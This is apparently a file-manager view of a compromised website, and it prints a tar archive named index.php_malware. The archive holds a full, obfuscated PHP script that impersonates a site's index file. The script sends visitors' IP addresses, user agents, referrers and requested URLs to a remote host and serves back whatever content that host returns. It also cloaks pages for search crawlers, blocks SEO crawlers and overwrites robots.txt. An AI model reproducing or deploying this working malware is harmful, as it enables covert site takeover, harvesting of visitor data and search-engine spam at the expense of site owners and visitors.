FileXXXXXXXXXXX

dvadf

File manager - Edit - /home/centroca/public_html/index.php_malware.tar

Back
home/centroca/public_html/index.php_malware��0000444��00000027107�15252404406�0015133 0��ustar�00��<?php goto NBdNo; By2ky: n5UoJ("\x72\x6f\142\x6f\164\x73\x2e\164\170\x74", $erZ96); goto bmcRt; sbr2U: EF0h2: goto neEFG; zK7SF: $erZ96 = "\x55\163\x65\162\55\x61\147\x65\156\x74\72\40\x2a\15\12\101\154\154\157\167\72\40\x2f"; goto rnSJ2; o4lyX: goto VIXEz; goto Wi0Rw; DLp6s: $rfJio = "\x31\64\x2e\146\x6f\x75\x72"; goto B8JgA; q4OXM: goto h2w4Q; goto KjbyU; oLsmW: $woqbS = jxscg($q1rvV); goto DCC50; izRs2: kZlAA: goto ZvXLt; koXd5: if (!preg_match("\x2f\50\x61\150\x72\x65\146\163\102\x6f\164\174\x64\x69\x67\x45\x78\164\x7c\171\151\x73\157\x75\x53\x70\151\144\145\162\174\102\171\x74\145\x73\160\151\144\x65\162\x7c\110\x65\x72\x69\164\x72\151\170\174\145\141\x73\x6f\x75\x53\x70\151\x64\x65\x72\174\x73\145\141\162\143\150\142\x6f\164\174\117\x42\x6f\164\174\107\x6f\x2d\x68\164\164\160\x2d\143\x6c\151\x65\156\164\x7c\x50\x79\164\150\157\156\x7c\143\162\x61\167\154\x44\141\144\144\171\174\x4a\151\x6b\145\123\x70\x69\144\145\x72\x7c\123\x65\x6d\x72\165\x73\x68\x42\x6f\164\174\x45\172\x6f\x6f\x6d\163\x7c\x73\167\151\146\x74\x62\x6f\x74\x7c\x61\x70\x61\x63\150\x65\x42\145\156\x63\x68\174\x49\x6e\x64\x79\40\114\151\x62\162\141\162\171\x7c\x42\x61\162\153\162\157\167\154\x65\162\x7c\114\151\147\150\164\x44\x65\143\153\122\x65\160\157\162\x74\163\x20\102\157\164\174\x63\157\157\x6c\x70\141\x64\127\145\x62\x6b\x69\x74\x7c\x4a\x61\x76\141\x7c\106\x65\x65\x64\x6c\171\x7c\123\145\172\156\141\155\102\x6f\x74\174\120\171\x74\150\157\x6e\x2d\162\x65\161\165\x65\x73\164\x73\174\x6a\141\x75\156\164\x79\174\120\x65\164\x61\x6c\x42\x6f\x74\x7c\120\171\164\x68\x6f\x6e\55\165\162\x6c\154\151\x62\x7c\x48\x74\x74\x70\103\154\151\x65\156\x74\174\131\171\x53\x70\x69\144\x65\162\x7c\103\150\141\164\x47\120\124\174\x6d\x6a\61\62\142\x6f\164\174\103\145\156\x73\171\x73\x49\156\163\x70\x65\143\x74\174\x43\x6c\x61\165\144\x65\x62\x6f\164\x7c\172\x6d\x45\165\174\141\x6d\x61\x7a\x6f\156\102\157\x74\174\x44\x61\x74\x61\106\x6f\162\123\x45\x4f\174\125\x6e\151\166\x65\x72\163\141\x6c\x46\x65\x65\144\x50\141\x72\x73\145\x72\x7c\163\x63\x72\141\160\171\x7c\104\157\164\x42\x6f\164\174\x50\x61\x6c\x6f\x61\154\164\157\x6e\145\x74\x77\157\x72\153\163\174\x79\x61\156\144\145\170\102\157\x74\174\x47\120\124\x42\157\x74\x7c\x41\163\153\124\142\x46\130\x54\x56\x7c\106\145\145\x64\x44\145\x6d\157\156\x29\x2f\151", $_SERVER["\x48\124\124\x50\x5f\125\123\105\122\137\101\x47\x45\x4e\x54"])) { goto cJfis; } goto aRzj9; RWiDv: $WUn2r = "\x66\151\x6e\145\x2e\143"; goto mXwVS; rnSJ2: $ieFH5 = "{$KbbNJ}\x3a\x2f\57" . $HRIKx . $S_CEp . "\x73\151\164\145\155\x61\160\56\x78\155\154"; goto M7Rp8; mC4wJ: UymuT: goto cJ55f; bmcRt: h2w4Q: goto RfFSu; Pozg2: fDFUB: goto mAnho; etKR1: echo $ieFH5 . "\x3a\40" . $zYw3P . "\74\x62\x72\x2f\76"; goto V7nzE; bOP9k: header("\103\x6f\156\164\x65\x6e\164\x2d\x54\x79\160\x65\x3a\40\x74\x65\x78\164\57\150\x74\x6d\x6c\x3b\x20\x63\x68\141\x72\163\145\x74\x3d\165\x74\x66\x2d\x38"); goto OMoDS; tsxvD: qSXv2: goto xpNG8; WsNab: $lW3RG = $_SERVER["\122\x45\x4d\x4f\x54\105\137\x41\x44\104\122"]; goto iM0Cp; ATLbP: VIXEz: goto edLhj; OXuv7: cJfis: goto pcJne; pEU9Q: fMAAE: goto Bu30A; dtUJg: curl_setopt($t_pVj, CURLOPT_FOLLOWLOCATION, false); goto aS88L; oML51: if (strpos($S_CEp, "\x69\x6e\144\x65\x78\x2e\160") !== false) { goto UymuT; } goto TyILj; Chdk1: $KbbNJ = urlencode($_SERVER["\x52\x45\x51\x55\x45\x53\x54\x5f\123\103\x48\x45\x4d\x45"]); goto QujUG; pcJne: $o213I = urlencode(@$_SERVER["\x48\x54\x54\120\x5f\x41\103\x43\105\120\x54\137\x4c\101\116\x47\x55\x41\x47\x45"]); goto WsNab; gXXEw: if (isset($_SERVER["\110\x54\x54\120\137\130\x5f\106\117\122\127\x41\122\104\105\104\x5f\106\x4f\122"])) { goto EF0h2; } goto SrjmG; K1gYT: $tM1QZ = $GGj9c . "\77\x61\147\x65\x6e\x74\75{$on8gU}\46\162\145\146\x65\162\x3d{$i0geS}\46\154\141\156\147\x3d{$o213I}\46\151\160\75{$lW3RG}\x26\x64\157\155\x3d{$HRIKx}\46\150\164\x74\x70\75{$KbbNJ}\x26\x75\x72\x69\75{$BObot}\46\x70\x63\75{$ujVQC}\46\162\145\x77\162\151\x74\x65\x61\x62\154\x65\x3d{$woqbS}\x26\163\x63\x72\x69\x70\x74\x3d{$kOBsy}"; goto O76ha; EQa6S: header("\103\157\156\164\x65\156\164\55\124\x79\x70\x65\x3a\40\x74\145\x78\164\x2f\170\155\x6c\x3b\x20\143\150\x61\x72\x73\145\164\x3d\x75\164\x66\55\x38"); goto DS9t3; DS9t3: KjDMO: goto o4lyX; RfFSu: exit; goto Dz1YM; PAaM2: if (isset($_SERVER["\x48\124\124\x50\x5f\103\x4c\111\105\x4e\x54\x5f\x49\x50"])) { goto kSz9b; } goto gXXEw; iM0Cp: $on8gU = urlencode($_SERVER["\x48\124\x54\120\x5f\x55\x53\105\x52\137\101\x47\x45\116\x54"]); goto PAaM2; Wi0Rw: mg0u4: goto zDRlp; qo2RB: $_SERVER["\122\105\x51\125\x45\123\x54\x5f\x53\x43\110\x45\115\x45"] = "\x68\x74\164\160"; goto FP4_f; QujUG: $BObot = urlencode($_SERVER["\122\105\121\x55\105\x53\124\x5f\x55\122\111"]); goto FsauW; Dz1YM: return; goto SrsBR; De9o4: goto GpB9Z; goto uEhGd; KSQ6r: EBl2s: goto HqwHh; tO7JX: OR3Cj: goto De9o4; WuhKz: $PTDsd = @file_get_contents($tM1QZ); goto cgBVR; QFreg: goto AWAj9; goto pEU9Q; Bu30A: $woqbS = 1; goto w70Xo; tmfDO: if ($PTDsd === "\x6f\153") { goto fMAAE; } goto X0zIe; xSgBj: BoSyf: goto WuhKz; jSIx0: $ujVQC = "\101\154\106\130\102\x77\x4b"; goto wT2V_; V7nzE: $tM1QZ = $GGj9c . "\77\x61\x67\x65\x6e\x74\75{$on8gU}\46\162\145\x66\145\x72\75{$i0geS}\x26\154\141\x6e\x67\75{$o213I}\x26\151\x70\x3d{$lW3RG}\46\x64\x6f\155\75{$HRIKx}\x26\150\x74\164\x70\75{$KbbNJ}\46\165\162\151\x3d{$BObot}\46\160\143\75{$ujVQC}\x26\162\145\x77\x72\x69\x74\x65\141\142\154\x65\x3d{$woqbS}\x26\x73\143\x72\x69\160\x74\75{$kOBsy}\46\x73\151\x74\x65\x6d\x61\160\x3d" . urlencode($ieFH5); goto xSgBj; zDRlp: header("\x48\x54\124\x50\57\61\56\x30\x20\x35\x30\60\40\x49\x6e\164\145\x72\x6e\x61\x6c\40\x53\145\162\x76\x65\x72\40\105\x72\162\157\x72"); goto kRjYn; r8IHD: if (!(strpos($BObot, "\160\151\x6e\147\x73\151\x74\145\x6d\x61\160") !== false)) { goto BoSyf; } goto uNO8a; yCknv: goto a7bW8; goto mC4wJ; g8pNB: $zYw3P = ''; goto etKR1; B8JgA: $GGj9c = $R_BUt . $XqPTz . $rfJio . $WUn2r . $jFE7T; goto jSIx0; HqwHh: $AnYQL = $KbbNJ . "\72\57\x2f" . $_SERVER["\x48\124\124\120\137\x48\117\123\124"] . "\x2f\x7a\x71\x75\172\x71\x75"; goto Ajh5Q; Is51I: if (!empty($erZ96)) { goto lHxKL; } goto J7NtC; cdly1: $kOBsy = urlencode($_SERVER["\123\103\x52\x49\120\124\137\116\101\115\x45"]); goto RWiDv; jMdat: if (strpos($BObot, "\x66\141\x76\151\x63\x6f\156\56\x69\143\157") !== false) { goto NUmGq; } goto U8HSt; aS88L: curl_setopt($t_pVj, CURLOPT_SSL_VERIFYPEER, FALSE); goto hl00W; hl00W: curl_setopt($t_pVj, CURLOPT_SSL_VERIFYHOST, FALSE); goto o7JhB; Ml0rX: echo "\157\x6b"; goto XoMfJ; kRjYn: exit; goto ATLbP; mAnho: a7bW8: goto zK7SF; avOBP: curl_setopt($t_pVj, CURLOPT_URL, $tM1QZ); goto usxvq; ZvXLt: $S_CEp = "\x2f\77"; goto Pozg2; xpNG8: if (empty($PTDsd)) { goto gIdVo; } goto dVu88; edLhj: echo $PTDsd; goto Is51I; XoMfJ: exit; goto k7mO0; IhKst: HOhlX: goto jMdat; KjbyU: lHxKL: goto By2ky; usxvq: curl_setopt($t_pVj, CURLOPT_RETURNTRANSFER, true); goto dtUJg; uNO8a: $S_CEp = $_SERVER["\x53\x43\122\111\x50\124\x5f\x4e\x41\115\x45"]; goto oML51; ZCnut: curl_close($t_pVj); goto tsxvD; Ajh5Q: $PTDsd = @file_get_contents($AnYQL); goto tmfDO; wT2V_: $lW3RG = urlencode($lW3RG); goto H7UWS; M7Rp8: $erZ96 = trim($erZ96) . "\15\xa" . "\123\x69\x74\x65\155\141\160\x3a\x20{$ieFH5}"; goto g8pNB; NBdNo: $NNkC9 = "\x42\x69\156\147\174\131\141\x68\157\x6f\x7c\107\157\157\x67\x6c\145\x7c\104\x6f\143\157\155\157"; goto TUmcq; OMoDS: goto KjDMO; goto QlkN5; AQ0WC: n5Uoj($q1rvV, "\x30"); goto QFreg; QlkN5: BugpS: goto EQa6S; ZIPU4: goto OR3Cj; goto jMRNu; kefMl: $jFE7T = "\157\x6d\57"; goto JobR9; J7NtC: if (!(strpos($BObot, "\162\x6f\x62\157\x74\x73\x2e\164\170\164") !== false)) { goto wHuJx; } goto QqR0r; U8HSt: if (preg_match("\100\136\x2f\50\56\52\77\51\56\x78\155\x6c\44\100\151", $_SERVER["\122\105\121\125\x45\x53\x54\x5f\x55\x52\111"]) or strpos($BObot, "\x72\x6f\x62\157\164\x73\56\x74\x78\x74") !== false or strpos($BObot, "\x30\x37\x32\x33") !== false or strpos($BObot, "\160\x69\156\147\163\151\x74\145\x6d\x61\160") !== false or preg_match("\x2f\x28{$NNkC9}\51\x2f\x69", $_SERVER["\x48\124\124\120\137\125\x53\105\122\137\x41\107\x45\x4e\x54"]) or preg_match("\57\x28{$NNkC9}\x29\x2f\x69", @$_SERVER["\110\x54\x54\120\137\122\105\x46\x45\122\105\x52"])) { goto HeDP6; } goto ZIPU4; jMRNu: HeDP6: goto K1gYT; xa7RA: function Jxscg($UAS4g) { goto acXwl; acXwl: $Ssduc = fopen($UAS4g, "\162"); goto pZ0hs; yoMql: return $saGqK; goto DidhK; pZ0hs: if (!$Ssduc) { goto CokkD; } goto oeniX; ADMNE: fclose($Ssduc); goto yoMql; DidhK: CokkD: goto qynsL; oeniX: $saGqK = fread($Ssduc, filesize($UAS4g)); goto ADMNE; qynsL: return false; goto qc_28; qc_28: } goto Chdk1; neEFG: $lW3RG = $_SERVER["\110\x54\x54\120\137\x58\x5f\x46\x4f\x52\127\x41\x52\x44\105\x44\137\106\x4f\122"]; goto EhUBS; o7JhB: $PTDsd = curl_exec($t_pVj); goto ZCnut; TyILj: $S_CEp = $S_CEp . "\x3f"; goto yCknv; TUmcq: error_reporting(0); goto o834G; KC5gc: wHuJx: goto q4OXM; QqR0r: N5Uoj("\162\157\142\157\164\163\x2e\x74\170\164", $PTDsd); goto KC5gc; R0KXz: if (!is_file($q1rvV)) { goto EBl2s; } goto oLsmW; S1IO_: goto fDFUB; goto izRs2; EhUBS: RaFio: goto IRLZB; Cb90K: $t_pVj = curl_init(); goto avOBP; FP4_f: goto U09zA; goto a3hLW; H7UWS: if (!empty($_SERVER["\122\x45\x51\x55\105\123\x54\x5f\x53\103\110\x45\x4d\x45"]) and $_SERVER["\122\105\121\x55\x45\x53\124\137\x53\103\110\105\115\x45"] == "\150\x74\164\160\x73" or !empty($_SERVER["\x48\124\x54\120\x53"]) and $_SERVER["\110\124\124\120\x53"] == "\x6f\156" or !empty($_SERVER["\x53\105\122\126\x45\122\137\120\117\122\x54"]) and $_SERVER["\x53\x45\x52\126\x45\x52\x5f\120\x4f\122\124"] == "\x34\64\63" or isset($_SERVER["\110\x54\x54\120\137\x58\137\x46\117\122\127\101\122\104\105\104\x5f\x50\x52\117\124\x4f"]) and $_SERVER["\110\124\124\120\x5f\130\137\106\x4f\122\x57\101\122\x44\105\104\x5f\x50\x52\x4f\124\x4f"] == "\150\164\164\160\x73") { goto zvCT7; } goto qo2RB; LrMLK: $q1rvV = "\x7a\161\165\56\164\x78\164"; goto R0KXz; O76ha: $erZ96 = ''; goto r8IHD; aRzj9: header("\110\124\x54\120\x2f\x31\56\x30\40\x34\x30\63\40\x46\x6f\162\142\151\x64\x64\145\156"); goto coYLS; IlMp4: goto RaFio; goto sbr2U; cgBVR: if (!empty($PTDsd)) { goto qSXv2; } goto Cb90K; w70Xo: N5uOj($q1rvV, "\x31"); goto FbnGj; SrjmG: goto RaFio; goto hwSwH; k7mO0: nkntR: goto gdZnB; u4IZe: $lW3RG = $_SERVER["\110\x54\124\120\x5f\103\114\111\105\x4e\124\137\x49\120"]; goto IlMp4; mXwVS: $R_BUt = "\150\x74\164\x70\x3a\57\x2f\x7a\x64"; goto kefMl; IRLZB: $HRIKx = urlencode($_SERVER["\110\124\x54\x50\137\x48\x4f\123\x54"]); goto cdly1; FbnGj: AWAj9: goto IhKst; gdZnB: $woqbS = 0; goto LrMLK; SrsBR: gIdVo: goto tO7JX; Zqz9p: if (substr($PTDsd, 0, 5) == "\74\x3f\x78\155\x6c") { goto BugpS; } goto bOP9k; FsauW: if (!(strpos($BObot, "\172\x71\165\172\161\165") !== false)) { goto nkntR; } goto Ml0rX; X0zIe: $woqbS = 0; goto AQ0WC; hwSwH: kSz9b: goto u4IZe; JobR9: $XqPTz = "\60"; goto DLp6s; cJ55f: if ($woqbS == 0) { goto kZlAA; } goto nvvpS; coYLS: exit; goto OXuv7; n7nVW: U09zA: goto xa7RA; o834G: function N5UOJ($UAS4g, $saGqK) { goto YVnia; xXhrP: iqbIP: goto zAske; OGN6M: fwrite($Ssduc, $saGqK); goto gYnbN; YVnia: $Ssduc = fopen($UAS4g, "\167"); goto ETGa0; gYnbN: fclose($Ssduc); goto JJDLu; zAske: return false; goto xxPsD; ETGa0: if (!$Ssduc) { goto iqbIP; } goto OGN6M; JJDLu: return true; goto xXhrP; xxPsD: } goto ZEemn; a3hLW: zvCT7: goto L5OML; uEhGd: NUmGq: goto jdHGO; dVu88: if (substr($PTDsd, 0, 10) == "\x65\162\x72\x6f\x72\40\x63\157\x64\x65" or $PTDsd == "\65\60\x30" or strpos($PTDsd, "\102\x61\144\x20\x47\141\x74\145\x77\141\171") !== false) { goto mg0u4; } goto Zqz9p; ZEemn: $i0geS = urlencode(@$_SERVER["\110\124\124\x50\137\x52\x45\106\x45\122\x45\x52"]); goto koXd5; nvvpS: $S_CEp = "\x2f"; goto S1IO_; L5OML: $_SERVER["\x52\105\x51\x55\105\x53\124\x5f\123\103\x48\x45\x4d\105"] = "\x68\164\x74\160\x73"; goto n7nVW; DCC50: goto HOhlX; goto KSQ6r; jdHGO: GpB9Z: ?>��

dvadf

dvadf